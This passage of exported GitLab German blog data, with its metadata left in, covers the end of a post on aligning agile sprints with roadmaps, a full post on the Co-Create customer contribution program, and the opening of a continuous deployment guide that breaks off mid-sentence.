sondern passt dich auch an das an, was für deine Kund(inn)en wirklich wichtig ist.\n\nDer Wert, den du bietest, kann sich in Form von verbesserter Benutzerfreundlichkeit, weniger Technical Debt oder ganz neuen Funktionen zeigen. Wenn das Produkttrio an die Roadmap-Vision angepasst ist, ist es auch an die Ergebnisse angepasst, die du erzielen möchtest.\n\nUm zu messen, ob du auf dem richtigen Weg bist, diese Ergebnisse auch wirklich zu erbringen, musst du die gewünschten Ergebnisse genau eingrenzen. Eine Abweichung von diesem Geltungsbereich (Scope Creep) kann, ähnlich wie verspätete Ausweitung der User Story, die Fähigkeit, einen Wert zu liefern, verzögern. Darüber hinaus ist es wichtig, Arbeit zu erkennen, die zwar geliefert wurde, aber nicht der Roadmap entspricht, und das Warum dahinter zu identifizieren.\n\n### Sprint-Planung\n\nDie Einhaltung der Produkt-Roadmap beginnt mit einer durchdachten Sprint-Planung. Wir haben für dich einige Best Practices zusammengestellt, mit denen dein Team planmäßig arbeiten und sich darauf konzentrieren kann, Werte zu liefern:\n\n* Definiere die gewünschten Ergebnisse genau und grenze sie eng ein, um eine hohe Zuversicht hinsichtlich der Lieferung sicherzustellen.\n* Identifiziere mögliche spätere Ergänzungen oder Anpassungen, die die Lieferung verzögern könnten, und plane Puffer ein, um den Fokus beizubehalten.\n* Passe die Arbeitsabläufe an dein Team an, um Kapazitäten und Kompetenzprofile zu optimieren und Abhängigkeiten zu reduzieren.\n* Um den Fokus beizubehalten und die Zuversicht in eine pünktliche Lieferung zu steigern, verplane nicht die gesamte Teamkapazität. Lasse Raum (10–20 %) für Unvorhergesehenes oder neue Entdeckungen, die während des Sprints aufkommen können.\n\n### Während des Sprints\n\nEs erfordert Fokus, Kommunikation und konstante Evaluierung, um auch während des Sprints an deiner Roadmap ausgerichtet zu bleiben. Auch wenn es das Ziel ist, Werte zu liefern, ist es ebenso wichtig, sicherzustellen, dass die laufenden Arbeiten deinen umrissenen und geplanten Zielen entsprechen.\n\n* Überprüfe kontinuierlich die laufenden Arbeiten im Hinblick auf die Ziele der Roadmap, um sicherzugehen, dass jeder Sprint zum größeren Ganzen beiträgt.\n* Ermutige das Team, regelmäßig zu überprüfen, ob es auch wirklich noch auf die geplanten Ziele und Ergebnisse hinarbeitet.* Kommuniziere während des gesamten Sprints offen. Nutze tägliche Standups oder asynchrone Updates, um Risiken, ungeplante Arbeiten oder Abhängigkeiten so früh wie möglich offenzulegen und die Prozesse wenn nötig anzupassen.\n* Bleibe deiner Linie treu, wenn es darum geht, den Sprint zu schützen. Auch wenn es natürlich ist, aufkommende Probleme sofort lösen zu wollen, sollten ungeplante Arbeiten sorgfältig evaluiert werden, um zu verhindern, dass zuvor vereinbarte Prioritäten zurückgestellt werden.\n* Verwalte eine Abweichung vom Geltungsbereich (auch als „Scope Creep“ bekannt) proaktiv. Wenn mitten im Sprint neue Arbeiten auftauchen, evaluiere, ob diese dem eng gesetzten Fokus des aktuellen Roadmap-Ergebnisses entsprechen. Während zusätzliche Ideen oder Funktionen vom Konzept her dem übergeordneten Ergebnis entsprechen können, passen sie vielleicht nicht in den aktuellen Plan, so schnell wie möglich Werte zu liefern. Dokumentiere diese Vorschläge und evaluiere, ob sie im Rahmen zukünftiger Iterationen oder als Nice-to-Have-Funktion in Zukunft einbezogen werden sollen, anstatt sie in den aktuellen Sprint zu integrieren und dadurch vereinbarte Prioritäten zu verzögern.\n\n### Sprint-Retrospektiven\n\nNimm dir in deinen Sprint-Retrospektiven mit deinem Team Zeit, darüber zu sprechen, wie gut ihr gemeinsam auf die gewünschten Ergebnisse hinarbeitet. Stelle diese Fragen:\n\n* Tauchten während des Sprints ungeplante Arbeiten auf, die dich daran gehindert haben, Werte zu erbringen? Identifiziere, warum dies passiert ist und welche Anpassungen vorgenommen werden können.  \n* Hast du Arbeiten geliefert, die von der Roadmap abweichen? Besprich, was dazu geführt hat und was du für die zukünftige Planung lernen kannst.\n\nVon der Sprint-Planung bis hin zu Retrospektiven: Es liegt in der Verantwortung des Teams, sich darauf zu konzentrieren, den Benutzer(inne)n und Stakeholdern greifbare Ergebnisse zu liefern. Indem du jeden Schritt des Wegs ausrichtest, stellst du sicher, dass deine Roadmap auch weiterhin ein klarer Rahmen ist, um effizient und konsistent Werte zu liefern.\n\n***GitLab-Tipp:** Verwende [Burndown-Charts (nur in englischer Sprache](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html), um Fortschritte zu visualisieren und Abweichungen frühzeitig zu erkennen, damit sich dein Team darauf konzentrieren kann, Ergebnisse zu erzielen.*\n\n![Burndown-Chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097239120.png)\n\n## Liefere Roadmap-Ergebnisse mit Zuversicht\n\nUm Agile-Sprints mit strategischen Roadmaps in Einklang zu bringen, sind Intentionalität, der Rückhalt des Teams und die richtigen Tools erforderlich. Indem du eine Roadmap als einzige Quelle der Wahrheit erstellst, kollaborative Reviews förderst und den Fortschritt hin in Richtung Ergebnisse misst, bringst du Ausführung und Vision auf einen Nenner. Dank den robusten Planungsfunktionen von GitLab machen Teams aus Herausforderungen spannende Chancen für Innovation und Wachstum.\n\nBist du bereit, deine Sprints an deiner strategischen Roadmap auszurichten? [Starte jetzt eine kostenlose Testversion von GitLab](https://about.gitlab.com/de-de/free-trial/) und entdecke die Tools, mit denen du mit Zuversicht Ergebnisse erzielen kannst.\n\n## Mehr erfahren\n\n- [Content-Hub für die Agile-Planung](https://about.gitlab.com/de-de/blog/categories/agile-planning/)\n- [Die neue Planer-Rolle von GitLab für Agile-Planungsteams](https://about.gitlab.com/de-de/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/)\n- [Lerne das GitLab-Wiki für effektives Wissensmanagement kennen (nur auf Englisch verfügbar)](https://about.gitlab.com/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/)",[973,767,974,746],"2025-02-26",{"slug":2177,"featured":92,"template":682},"how-to-harmonize-agile-sprints-with-product-roadmaps","content:de-de:blog:how-to-harmonize-agile-sprints-with-product-roadmaps.yml","How To Harmonize Agile Sprints With Product Roadmaps","de-de/blog/how-to-harmonize-agile-sprints-with-product-roadmaps.yml","de-de/blog/how-to-harmonize-agile-sprints-with-product-roadmaps",{"_path":2183,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2184,"content":2190,"config":2199,"_id":2201,"_type":16,"title":2202,"_source":17,"_file":2203,"_stem":2204,"_extension":20},"/de-de/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"ogTitle":2185,"schema":2186,"ogImage":2187,"ogDescription":2188,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2189,"title":2185,"canonicalUrls":2189,"description":2188},"Co-Create: Wie Kunden GitLab gemeinsam entwickeln","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Das Co-Create-Programm: Wie Kund(inn)en zusammenarbeiten, um GitLab zu entwickeln\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2025-01-30\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","Erfahre, wie Unternehmen wie Thales, Scania und Kitware mit GitLab-Entwickler(inne)n zusammenarbeiten, um sinnvolle Funktionen beizusteuern, von denen die gesamte Community profitiert.","https://about.gitlab.com/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"heroImage":2187,"body":2191,"authors":2192,"updatedDate":2194,"date":2195,"title":2196,"tags":2197,"description":2188,"category":1055},"Im vergangenen Jahr haben über 800 Community-Mitglieder mehr als 3 000 Beiträge zu GitLab geleistet. Darunter sind auch Teammitglieder aus globalen Unternehmen wie Thales und Scania, die im Rahmen des [Co-Create-Programms (nur in englischer Sprache verfügbar)](https://about.gitlab.com/community/co-create/) die Zukunft von GitLab mitgestalten. Bei diesem Programm arbeiten Kund(inn)en direkt mit GitLab-Entwickler(inne)n zusammen, um sinnvolle Funktionen zur Plattform beizutragen.\n\nDurch Workshops, Paarprogrammierungssitzungen und kontinuierlichen Support erhalten die Programmteilnehmenden praktische Erfahrungen mit der Architektur und der Codebase von GitLab, während sie Probleme lösen oder bestehende Funktionen verbessern.\n\n„Unsere Erfahrungen mit dem Co-Create-Programm waren unglaublich“, erklärt Sébastien Lejeune, Open-Source-Beauftragter bei Thales. „Es hat nur zwei Monate gedauert, bis wir unseren Beitrag mit einem GitLab Contributor Success Engineer besprochen haben und er in die GitLab-Release aufgenommen wurde.“\n\nIn diesem Beitrag zeigen wir, wie Kund(inn)en das Co-Create-Programm genutzt haben, um ihre Ideen in Code zu verwandeln und dabei zu lernen und mitzuwirken.\n\n## Die Co-Create-Erfahrung\n[Das GitLab Development Kit (GDK) (Dokumentation nur in englischer Sprache verfügbar)](https://gitlab.com/gitlab-org/gitlab-development-kit) hilft Mitwirkenden, mit der Entwicklung von GitLab zu beginnen. „Mein Rat für neue Mitwirkende lautet, dass man mit dem GDK nichts kaputt machen kann“, sagt Hook. „Wenn du eine Änderung vornimmst und sie nicht funktioniert, kannst du sie rückgängig machen oder von vorne beginnen. Das Schöne am GDK ist, dass man tüfteln, testen und lernen kann, ohne sich Gedanken über die Umgebung machen zu müssen.“\n\nJedes Unternehmen, das am Co-Create-Programm teilnimmt, erhält während seiner gesamten Beitragsphase Unterstützung:\n\n- __Technischer Onboarding-Workshop __: Eine spezielle Sitzung, um das GitLab Development Kit einzurichten und die Architektur von GitLab zu verstehen\n- __Persönlicher Engineering-Support__: Kontakt zu GitLab-Entwickler(inne)n für Paarprogrammierung und technische Beratung\n- __Vertiefende Einblicke in die Architektur__: Spezialisierte Sitzungen zu bestimmten GitLab-Komponenten, die für das Thema, zu dem das Unternehmen beiträgt, relevant sind\n- __Code-Review-Support__: Detailliertes Feedback und Anleitung für den Merge-Request-Prozess\n- __Regelmäßige Rückmeldungen__: Laufende Zusammenarbeit, um den Fortschritt zu sichern und Herausforderungen zu bewältigen\n\nDiese Struktur sorgt dafür, dass Teams unabhängig von ihrer Erfahrung mit der Codebase von GitLab oder der Programmiersprache Ruby/Go effektiv mitarbeiten können. John Parent von Kitware erklärt: „Wenn du GitLab noch nie gesehen oder damit gearbeitet hast, siehst du dich mit einer ausgeklügelten Architektur und so viel Code in verschiedenen Projekten konfrontiert. Mithilfe des Co-Create-Programms lässt sich das, was wochenlange interne Schulungen erfordern würde, in einen gezielten Crashkurs umwandeln.“\n\nDas Ergebnis ist ein Programm, das nicht nur dabei hilft, neue Funktionen zu entwickeln, sondern auch dauerhafte Beziehungen zwischen GitLab und seiner Benutzer-Community aufzubauen. „Für unsere Entwickler(innen) ist es inspirierend zu sehen, mit welcher Leidenschaft unsere Kund(inn)en an GitLab mitarbeiten und es gemeinsam weiterentwickeln“, sagt Shekhar Patnaik, Principal Engineer bei GitLab. Die Kund(inn)en erleben den „GitLab-Weg“ und die Entwickler(innen) sehen, wie sie die Zukunft von GitLab mitgestalten.“\n\n> **Von 18 auf 3 Monate: So beschleunigt die Deutsche Telekom ihre Releases mit GitLab** 13.000 Entwickler(innen) arbeiten effizienter zusammen und bringen Produkte 6x schneller auf den Markt – erfahre, wie GitLab Ultimate die DevSecOps-Transformation vorantreibt, Silos aufbricht und Sicherheit in den Entwicklungsprozess bringt. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/deutsche-telekom/)\n\n## Verbesserung der Projekt-Benutzeroberfläche mit Thales\nAls Thales Verbesserungsmöglichkeiten für die leere Projektoberfläche von GitLab erkannte, reichten sie nicht nur eine Feature-Anfrage ein, sondern entwickelten die Lösung gleich selbst. Ihre Beiträge konzentrierten sich auf die Vereinfachung der Einrichtung neuer Projekte, indem sie die SSH-/HTTPS-Konfiguration mit einer Registerkarten-Oberfläche vereinfachten und eine Kopier-/Einfügefunktion für die Code-Schnipsel hinzufügten. Diese Änderungen hatten einen erheblichen Einfluss auf den Workflow der Entwickler(innen).\n\nDas Team hat aber nicht nur die Benutzeroberfläche verbessert. Quentin Michaud, PhD Fellow für Cloud Applications on the Edge bei Thales, trug zur Verbesserung des GitLab Development Kit (GDK) bei. Als Paketbetreuer für Arch Linux hat Michaud mit seinem Fachwissen die Dokumentation des GDK verbessert und die Containerisierung unterstützt, um zukünftigen Mitwirkenden den Einstieg zu erleichtern.\n\n„Meine Erfahrung mit Open Source half mir bei der Problembehebung der GDK-Unterstützung für Linux-Distributionen“, sagt Michaud. „Während ich die Dokumentation zur Paketversionierung verbesserte, sah ich, dass das Contributor-Success-Team von GitLab ebenfalls daran arbeitete, GDK in einem Container einzurichten. Zu sehen, wie unsere Bemühungen zusammenlaufen, war ein großartiger Moment für mich – er zeigte, wie Open-Source-Zusammenarbeit zu besseren Lösungen führen kann.“\n\nDie positive Erfahrung für das Thales-Team bedeutet, dass Lejeune das Co-Create-Programm jetzt als „ein überzeugendes Beispiel dafür nutzt, unseren Manager(inne)n die Rentabilität von Beiträgen zu Open-Source-Software zu zeigen.“\n\n## Verbesserung der Paketunterstützung mit Scania\nAls Scania erweiterte Paketunterstützung in GitLab benötigte, sah das Unternehmen die Möglichkeit, selbst dazu beizutragen und sie zu entwickeln.\n\n„Wir sind langjährige GitLab-Benutzer(innen) und fördern Open Source aktiv in unserem Unternehmen. Das Co-Create-Programm bot uns eine sinnvolle Möglichkeit, direkt zu Open Source beizutragen“, sagt Puttaraju Venugopal Hassan, Solution Architect bei Scania.\n\nDas Team begann mit kleineren Änderungen, um sich mit der Codebase und dem Review-Prozess vertraut zu machen, und ging dann zu größeren Funktionen über. „Einer der lohnendsten Aspekte des Co-Create-Programms war es, auf den gesamten Prozess zurückzublicken und zu sehen, wie weit wir gekommen sind“, sagt Océane Legrand, Softwareentwicklerin bei Scania. „Wir haben mit der Erkundung und kleineren Änderungen angefangen, aber mit der Zeit haben wir größere Aufgaben übernommen. Es ist toll, diese Entwicklung zu sehen.“\n\nZu den Beiträgen von Scania gehören Fehlerkorrekturen für die Paket-Registry und Bemühungen, die Conan-Paket-Registry zu verbessern, um sie der allgemeinen Verfügbarkeit (GA) näher zu bringen und gleichzeitig die Unterstützung für Conan Version 2 zu implementieren. Ihre Arbeit und die Zusammenarbeit mit GitLab zeigt, wie das Co-Create-Programm die Funktionen der Paket-Registry von GitLab erheblich verbessern kann.\n\n„Unsere Erfahrungen mit dem Co-Create-Programm waren von Anfang an sehr gut organisiert. Wir hatten Schulungen, die uns durch alles führten, was wir für unseren Beitrag brauchten. In Einzelgesprächen mit jemandem aus dem Entwicklungsteam von GitLab erhielten wir außerdem einen detaillierten Einblick in die Paketarchitektur von GitLab, was den Beitragsprozess deutlich vereinfachte“, sagt Juan Pablo Gonzalez, Softwareentwickler bei Scania.\n\nDas Programm wirkt sich nicht nur auf die Programmierung aus – Teilnehmende erwerben durch ihre Beiträge auch wertvolle Fähigkeiten. Bei der Veröffentlichung von GitLab 17.8 wurden sowohl [Legrand als auch Gonzalez als GitLab MVPs (nur in englischer Sprache verfügbar)](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#mvp) ausgezeichnet. Legrand sprach darüber, wie sich ihre Arbeit im Open-Source-Bereich sowohl auf GitLab als auch auf Scania auswirkt und wie sie und ihr Team neue Fähigkeiten erwerben: „Durch die Mitarbeit im Co-Create-Programm habe ich neue Fähigkeiten erworben, z. B. Erfahrungen mit Ruby und Hintergrundmigrationen. Als mein Team bei Scania während eines Upgrades mit einem Problem konfrontiert wurde, konnte ich bei der Problembehebung helfen, weil ich das Problem bereits aus dem Co-Create-Programm kannte.“\n\n## Optimierung der Authentifizierung für High-Performance-Computing mit Kitware\nKitware brachte sein Fachwissen aus der Zusammenarbeit mit nationalen Laboratorien ein, um das Authentifizierungsframework von GitLab zu verbessern. Kitware unterstützte den OAuth2 Flow zur Erteilung von Geräteautorisierungen in GitLab und implementierte neue Datenbanktabellen, Controller, Ansichten und Dokumentationen. Dieser Beitrag erweitert die Authentifizierungsoptionen von GitLab und macht es vielseitiger für Geräte ohne Browser oder mit begrenzten Eingabemöglichkeiten.\n\n„Das Co-Create-Programm ist der effizienteste und effektivste Weg, um als Externe(r) zu GitLab beizutragen“, sagt John Parent, Entwicklungsingenieur bei Kitware. „Durch die Pairing-Sitzungen mit den Entwickler(inne)n haben wir bessere Implementierungen gefunden, die wir im Alleingang vielleicht übersehen hätten.“\n\nAls langjähriger Mitwirkender im Open-Source-Bereich schätzt Kitware besonders den Entwicklungsansatz von GitLab. „Ich bin davon ausgegangen, dass GitLab bei seiner Größe nicht auf vorgefertigte Lösungen zurückgreifen würde, aber es war großartig zu sehen, dass sie eine Ruby-Abhängigkeit eingebaut haben, anstatt eine eigene Lösung zu entwickeln“, sagt Parent. „Da ich aus der C++-Welt komme, wo Paketmanager selten sind, war es erfrischend zu sehen, wie einfach dieser Ansatz sein kann.“\n\n## Gemeinsam besser entwickeln: Vorteile des Co-Create-Programms\nDas Co-Create-Programm schafft Werte für beide Seiten. „Das Programm überbrückt die Kluft zwischen uns als GitLab-Entwickler(innen) und unseren Kund(inn)en“, erklärt Imre Farkas, Staff Backend Engineer bei GitLab. „Während der Zusammenarbeit erfahren wir, welche Herausforderungen sie tagtäglich haben, auf welche Teile von GitLab sie sich verlassen und wo Verbesserungen möglich sind. Es ist toll zu sehen, mit welcher Begeisterung sie sich an der Entwicklung von GitLab beteiligen.“\n\nDieser kollaborative Ansatz beschleunigt auch die Entwicklung von GitLab. Shekhar Patnaik, leitender Ingenieur bei GitLab, bemerkt dazu: „Durch das Co-Create-Programm helfen uns unsere Kund(inn)en, unsere Roadmap voranzutreiben. Ihre Beiträge ermöglichen es uns, wichtige Funktionen schneller bereitzustellen, wovon unsere gesamte Nutzerbasis profitiert. Wenn wir das Programm erweitern, haben wir das Potenzial, die Entwicklung unserer wichtigsten Funktionen zu beschleunigen, indem wir mit den Menschen zusammenarbeiten, die sich auf sie verlassen.“\n\n## Erste Schritte mit dem Co-Create-Programm\nBist du bereit, deine Feature-Anfragen in die Realität umzusetzen? Ganz gleich, ob du wie Thales die Benutzeroberfläche von GitLab verbessern, wie Scania die Paketunterstützung verbessern oder wie Kitware die Authentifizierung optimieren möchtest – das Co-Create-Programm heißt alle Unternehmen willkommen, die die Zukunft von GitLab aktiv mitgestalten und gleichzeitig wertvolle Open-Source-Erfahrungen sammeln möchten.\n\nEin(e) GitLab-Vertreter(in) kann dir sagen, wie du am Co-Create-Programm teilnehmen kannst. Weitere Informationen findest du auch auf der [Seite des Co-Create-Programms](https://about.gitlab.com/community/co-create/).\n",[2193],"Fatima Sarah Khalid","2025-02-07","2025-01-30","Das Co-Create-Programm: Wie Kund(inn)en zusammenarbeiten, um GitLab zu entwickeln",[2198,913,1057],"contributors",{"slug":2200,"featured":92,"template":682},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab","content:de-de:blog:the-co-create-program-how-customers-are-collaborating-to-build-gitlab.yml","The Co Create Program How Customers Are Collaborating To Build Gitlab","de-de/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab.yml","de-de/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"_path":2206,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2207,"content":2213,"config":2221,"_id":2223,"_type":16,"title":2224,"_source":17,"_file":2225,"_stem":2226,"_extension":20},"/de-de/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab",{"ogTitle":2208,"schema":2209,"ogImage":2210,"ogDescription":2211,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2212,"title":2208,"canonicalUrls":2212,"description":2211},"Leitfaden: Kontinuierliche Bereitstellung mit GitLab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Vom Code bis zur Produktion: Ein Leitfaden für die kontinuierliche Bereitstellung mit GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Benjamin Skierlak\"},{\"@type\":\"Person\",\"name\":\"James Wormwell\"}],\n        \"datePublished\": \"2025-01-28\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659478/Blog/Hero%20Images/REFERENCE_-_Use_this_page_as_a_reference_for_thumbnail_sizes.png","Erfahre, wie du mit dem Aufbau einer robusten Pipeline für die kontinuierliche Bereitstellung in GitLab beginnen kannst. In diesem Artikel findest du Schritt-für-Schritt-Anleitungen, praktische Beispiele und Best Practices.","https://about.gitlab.com/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab",{"heroImage":2210,"body":2214,"authors":2215,"updatedDate":2151,"date":2218,"title":2219,"tags":2220,"description":2211,"category":680},"Die kontinuierliche Bereitstellung ist eine bahnbrechende Praxis, die es\nTeams ermöglicht, schneller und mit höherem Vertrauen Werte zu schaffen. Das\nEintauchen in erweiterte Bereitstellungs-Workflows – wie GitOps,\nContainer-Orchestrierung mit Kubernetes oder dynamische Umgebungen – kann\njedoch für Teams, die gerade erst anfangen, einschüchternd sein.\n\n\nGitLab setzt sich dafür ein, die Bereitstellung nahtlos und skalierbar zu gestalten. Indem wir es den Teams ermöglichen, sich auf die Grundlagen zu konzentrieren, befähigen wir sie, eine starke Basis zu schaffen, die das Wachstum komplexerer Strategien im Laufe der Zeit unterstützt. Dieser Leitfaden enthält wichtige Schritte, um mit der Implementierung der kontinuierlichen Bereitstellung mit GitLab zu beginnen und die Grundlage für deinen langfristigen Erfolg zu schaffen.\n\n\n## Inhaltsverzeichnis\n\n\n- [Beginne mit einem Workflow-Plan](#beginne-mit-einem-workflow-plan)\n  - [Artefakt-Management-Strategie](#artefakt-management-strategie)\n    - [Artefakte und Versionsstrategien](#artefakte-und-versionsstrategien)\n    - [Artefaktaufbewahrung erstellen](#artefaktaufbewahrung-erstellen)\n    - [Registrierungszugriff und Authentifizierung](#registrierungszugriff-und-authentifizierung)\n  - [Umgebungsstrategie](#umgebungsstrategie)\n  - [Bereitstellungsziele](#bereitstellungsziele)\n- [Deine CD-Pipeline implementieren](#deine-cd-pipeline-implementieren)\n  - [Ein Schritt-für-Schritt-Beispiel](#ein-schritt-für-schritt-beispiel)\n    - [Voraussetzungen](#voraussetzungen)\n  - [Best Practices](#best-practices)\n- [Skaliere deine Bereitstellungsstrategie](#skaliere-deine-bereitstellungsstrategie)\n  - [Erweiterte Sicherheitsmaßnahmen](#erweiterte-sicherheitsmaßnahmen)\n  - [Progressive Bereitstellungsstrategien](#progressive-bereitstellungsstrategien)\n  - [Überwachung und Optimierung](#überwachung-und-optimierung)\n- [Warum GitLab](#warum-gitlab)\n\n- [Noch heute starten](#noch-heute-starten)\n\n\n## Beginne mit einem Workflow-Plan\n\n\nBevor du dich mit der technischen Implementierung befasst, nimm dir Zeit, um deinen Bereitstellungs-Workflow zu planen. Der Erfolg liegt in der sorgfältigen Planung und dem methodischen Vorgehen.\n\n\n### Artefakt-Management-Strategie\n\n\nIm Zusammenhang mit der kontinuierlichen Bereitstellung sind Artefakte die Paket-Ausgaben deines Build-Prozesses, die gespeichert, als Versionen verwaltet und bereitgestellt werden müssen. Darunter fallen:\n\n\n- Container-Images für deine Anwendungen\n\n- Pakete\n\n- kompilierte Binärdateien oder ausführbare Dateien\n\n- Bibliotheken\n\n- Konfigurationsdateien\n\n- Dokumentationspakete\n\n- andere Artefakte\n\n\nJede Art von Artefakt spielt eine bestimmte Rolle in deinem Bereitstellungsprozess. Zum Beispiel könnte eine typische Webanwendung Folgendes generieren:\n\n\n- ein Container-Image für den Backend-Service\n\n- ein ZIP-Archiv mit kompilierten Frontend-Assets\n\n- SQL-Dateien für Datenbankänderungen\n\n- umweltspezifische Konfigurationsdateien\n\n\nDie effektive Verwaltung dieser Artefakte ist für erfolgreiche Bereitstellungen von entscheidender Bedeutung. Hier erfährst du, wie du das Artefakt-Management angehen kannst.\n\n\n#### Artefakte und Versionsstrategien\n\n\nEine Best Practice, um mit einer sauberen Struktur zu beginnen, besteht darin, eine klare Versionsstrategie für deine Artefakte festzulegen. Bei der Erstellung von Releases gilt:\n\n\n- Verwende eine semantische Versionsverwaltung (major.minor.patch) für Release-Tags\n  - Beispiel: `myapp:1.2.3` für ein stabiles Release\n  - Wichtige Versionsänderungen (2.0.0) für Breaking Changes\n  - Geringfügige Versionsänderungen (1.3.0) für neue Funktionen\n  - Patch-Versionsänderungen (1.2.4) für Fehlerbehebungen\n- Pflege einen „neuesten“ Tag für die neueste stabile Version\n  - Beispiel: `myapp:latest` für automatisierte Bereitstellungen\n- Beziehe Commit-SHA für präzises Versions-Tracking ein\n  - Beispiel: `myapp:1.2.3-abc123f` zum Debuggen\n- Berücksichtige Branch-basierte Tags für Entwicklungsumgebungen\n  - Beispiel: `myapp: feature-user-auth` für Funktionstests\n\n#### Artefaktaufbewahrung erstellen\n\n\nImplementiere definierte Aufbewahrungsregeln:\n\n\n- Lege explizite Ablaufzeitrahmen für temporäre Artefakte fest\n\n- Definiere, welche Artefakte dauerhaft aufbewahrt werden müssen\n\n- Konfiguriere Bereinigungsrichtlinien zur Verwaltung des Speichers\n\n\n#### Registrierungszugriff und Authentifizierung\n\n\nSchütze deine Artefakte mit den richtigen Zugangskontrollen:\n\n\n- Implementiere persönliche Zugriffstoken für den Entwicklerzugriff\n\n- Konfiguriere CI/CD-Variablen für die Pipeline-Authentifizierung\n\n- Richte ordnungsgemäße Zugangsumfänge ein\n\n\n### Umgebungsstrategie\n\n\nBetrachte deine Umgebungen frühzeitig, da sie deine gesamte Bereitstellungspipeline prägen:\n\n\n- Konfigurationen der Entwicklungs-, Staging- und Produktionsumgebung\n\n- Umgebungsspezifische Variablen und Geheimnisse\n\n- Zugangskontrollen und Schutzregeln\n\n- Ansatz zur Nachverfolgung und Überwachung der Bereitstellung\n\n\n### Bereitstellungsziele\n\n\nSei dir bewusst, wo und wie du bereitstellen wirst. Diese Entscheidungen sind wichtig und die jeweiligen Vor- und Nachteile sollten berücksichtigt werden:\n\n\n- Infrastrukturanforderungen (VMs, Container, Cloud-Services)\n\n- Netzwerkzugriff und Sicherheitskonfigurationen\n\n- Authentifizierungsmechanismen (SSH-Schlüssel, Zugriffstoken)\n\n- Überlegungen zur Ressourcenzuweisung und Skalierung\n\n\nNachdem wir unsere Strategie definiert und grundlegende Entscheidungen getroffen haben, können wir diese Pläne jetzt in eine funktionierende Pipeline umsetzen. Wir werden ein praktisches Beispiel erstellen, das diese Konzepte demonstriert, beginnend mit einer einfachen Anwendung und dem schrittweisen Hinzufügen von Bereitstellungsfunktionen.\n\n\n## Deine CD-Pipeline implementieren\n\n\n### Ein Schritt-für-Schritt-Beispiel\n\n\nSehen wir uns nun die Implementierung einer grundlegenden Pipeline für die kontinuierliche Bereitstellung für eine Webanwendung an. Wir werden eine einfache HTML-Anwendung als Beispiel verwenden, aber diese Prinzipien gelten für jede Art von Anwendung. Wir werden unsere Anwendung auch als Docker Image auf einer einfachen virtuellen Maschine bereitstellen. Somit können wir uns auf ein kuratiertes Bild mit minimalen Abhängigkeiten stützen und sicherstellen, dass keine umgebungsspezifischen Anforderungen unbeabsichtigt eingeführt werden. Wenn wir an einer virtuellen Maschine arbeiten, werden wir die nativen Integrationen von GitLab nicht nutzen, sodass wir zunächst an einem einfacheren, aber weniger skalierbaren Setup arbeiten können.\n\n\n#### Voraussetzungen\n\n\nIn diesem Beispiel zielen wir darauf ab, eine Anwendung zu containerisieren, die wir auf einer virtuellen Maschine ausführen, die auf einem Cloud-Anbieter gehostet wird. Wir werden diese Anwendung auch lokal auf unserem Computer testen. Diese Liste der Voraussetzungen wird nur für dieses Szenario benötigt.\n\n\n##### Einrichtung der virtuellen Maschine\n\n\n- Stelle eine VM in deinem bevorzugten Cloud-Provider (z. B. GCP, AWS, Azure) bereit\n\n- Konfiguriere die Netzwerkregeln, um den Zugriff auf die Ports 22, 80 und 443 zu ermöglichen\n\n- Zeichne die öffentliche IP-Adresse des Computers für die Bereitstellung auf\n\n\n##### SSH-Authentifizierung einrichten:\n\n\n- Generiere ein öffentliches/privates Schlüsselpaar für die Maschine\n\n- Gehe in GitLab zu **Einstellungen > CI/CD > Variablen**\n\n- Erstelle eine Variable mit dem Namen `GITLAB_KEY`\n\n- Wähle als Typ „Datei“ (für SSH-Authentifizierung erforderlich)\n\n- Füge den privaten Schlüssel in das Feld „Wert“ ein\n\n- Definiere eine BENUTZERVARIABLE; dies ist der Benutzer, der sich anmeldet und die Skripte auf deiner VM ausführt\n\n\n##### Bereitstellungsvariablen konfigurieren\n\n\n- Erstelle Variablen für deine Bereitstellungsziele:\n  - `STAGING_TARGET`: deine Staging-Server-IP/-Domäne\n  - `PRODUCTION_TARGET`: deine Produktionsserver-IP/-Domäne\n\n##### Lokales Entwicklungs-Setup\n\n\n- Installiere Docker auf deinem lokalen Computer, um Bereitstellungen zu testen\n\n\n##### GitLab-Container-Registry-Zugriff\n\n\n- Finde deinen Registry-Pfad:\n  - Navigiere zu **Bereitstellen > Container-Registry**\n  - Kopiere den Registry-Pfad (z. B. registry.gitlab.com/group/project)\n- Authentifizierung einrichten:\n  - Gehe zu **Einstellungen > Zugriffstoken**\n  - Erstelle ein neues Token mit Registry-Zugriff\n  - Token-Ablauf: max. 1 Jahr\n  - Speichere das Token sicher\n- Lokalen Registry-Zugriff konfigurieren:\n\n\n```\n\ndocker login registry.gitlab.com\n\n# Der Benutzername, wenn du einen PAT verwendest, ist gitlab-ci-token\n\n# Passwort: your-access-token\n\n```\n\n\n#### 1. Erstelle deine Anwendung\n\n\nBeginne mit einer grundlegenden Webanwendung. In unserem Beispiel verwenden wir eine einfache 